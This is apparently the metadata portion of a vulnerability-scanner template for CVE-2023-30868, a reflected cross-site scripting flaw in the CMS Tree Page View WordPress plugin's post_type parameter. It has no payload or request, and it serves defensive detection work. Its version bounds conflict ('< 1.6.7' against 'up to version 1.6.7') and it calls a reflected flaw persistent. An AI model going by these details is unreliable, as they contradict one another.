id: CVE-2023-30868

info:
  name: Tree Page View Plugin < 1.6.7 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The CMS Tree Page View plugin for WordPress has a Reflected Cross-Site Scripting vulnerability up to version 1.6.7. This is due to the post_type parameter not properly escaping user input. As a result, users with administrator privileges or higher can inject JavaScript code that will execute whenever accessed.
  impact: |
    Authenticated high-privilege attackers (admin) can inject malicious JavaScript through the post_type parameter to compromise other administrator accounts and gain persistent access to the WordPress site.
  remediation: |
    Update CMS Tree Page View plugin to version 1.6.7 or later that properly escapes the post_type parameter in the admin interface to prevent reflected XSS attacks.
